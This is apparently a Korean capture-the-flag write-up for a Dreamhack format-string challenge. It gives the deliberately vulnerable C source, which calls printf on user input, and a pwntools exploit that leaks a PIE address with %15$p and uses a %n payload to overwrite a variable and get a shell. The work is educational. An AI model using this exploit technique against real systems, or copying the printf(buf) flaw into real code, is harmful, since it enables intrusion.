

Full RELRO, NX, PIE가 적용되어 있습니다.
// Name: fsb_overwrite.c
// Compile: gcc -o fsb_overwrite fsb_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void get_string(char *buf, size_t size) {
ssize_t i = read(0, buf, size);
if (i == -1) {
perror("read");
exit(1);
}
if (i < size) {
if (i > 0 && buf[i - 1] == '\n') i--;
buf[i] = 0;
}
}
int changeme;
int main() {
char buf[0x20];
setbuf(stdout, NULL);
while (1) {
get_string(buf, 0x20);
printf(buf);
puts("");
if (changeme == 1337) {
system("/bin/sh");
}
}
}
get_string 함수를 통해 buf에 32바이트 입력을 받습니다. 그리고 사용자가 입력한 buf를 printf의 인자로 직접 사용하므로 포맷 스트링 버그 취약점이 발생합니다.
풀이의 흐름은 다음과 같습니다.
1. changeme 주소를 구하기 위해 PIE 베이스 주소 구하기
2. 구한 changeme 주소로 값을 1337로 설정하기
먼저 PIE 베이스 주소를 구하겠습니다.
pwndbg로 printf(buf) 직전에 브레이크 포인트를 걸고 실행하겠습니다. 이후 rsp를 출력하겠습니다.

그리고 vmmap으로 fsb_overwrite 바이너리가 매핑된 영역도 확인해보겠습니다.

위의 rsp를 보면 rsp+0x48 위치에 0x555555555293 이 저장되어 있고, 이는 fsb_overwrite 바이너리가 매핑된 영역 내부입니다.
따라서 오프셋을 구하면 0x555555555293 - 0x555555554000 = 0x1293이 됩니다.
그럼 오프셋을 구했으니 코드에서 %15$p로 15번째 인자인 [rsp+0x48]에 오프셋을 빼면 PIE 베이스 주소를 얻을 수 있고, 이 주소로 changeme의 주소도 구할 수 있습니다.
from pwn import *
def slog(n, m): return success(': '.join([n, hex(m)]))
p = remote("host3.dreamhack.games", 10023)
e = ELF("./fsb_overwrite")
#x86-64 호출규약에 따라 [rsp]는 6번째, rsp+0x48 = rsp+(0x8 * 9)이므로 [rsp+0x48]은 6+9 = 15번째
p.sendline(b"%15$p")
leaked = int(p.recvline()[:-1], 16)
code_base = leaked - 0x1293
changeme = code_base + e.symbols["changeme"]
slog('code_base', code_base)
slog("changeme", changeme)
이제 얻은 changeme 주소에 1337이라는 값만 넣어주면 끝입니다.
#8번째 인자에 1337 쓰기
#8번째 인자는 [rsp+0x10] = changeme
#%1337c%8 / $nAAAAAA / changeme <- 8번째
payload = b"%1337c%8$n".ljust(16, b'A')
payload += p64(changeme)
p.sendline(payload)
p.interactive()
아래는 전체 코드입니다.
from pwn import *
def slog(n, m): return success(': '.join([n, hex(m)]))
p = remote("host3.dreamhack.games", 10023)
e = ELF("./fsb_overwrite")
p.sendline(b"%15$p")
leaked = int(p.recvline()[:-1], 16)
code_base = leaked - 0x1293
changeme = code_base + e.symbols["changeme"]
slog('code_base', code_base)
slog("changeme", changeme)
payload = b"%1337c%8$n".ljust(16, b'A')
payload += p64(changeme)
p.sendline(payload)
p.interactive()
실행하면 셸을 얻을 수 있습니다.
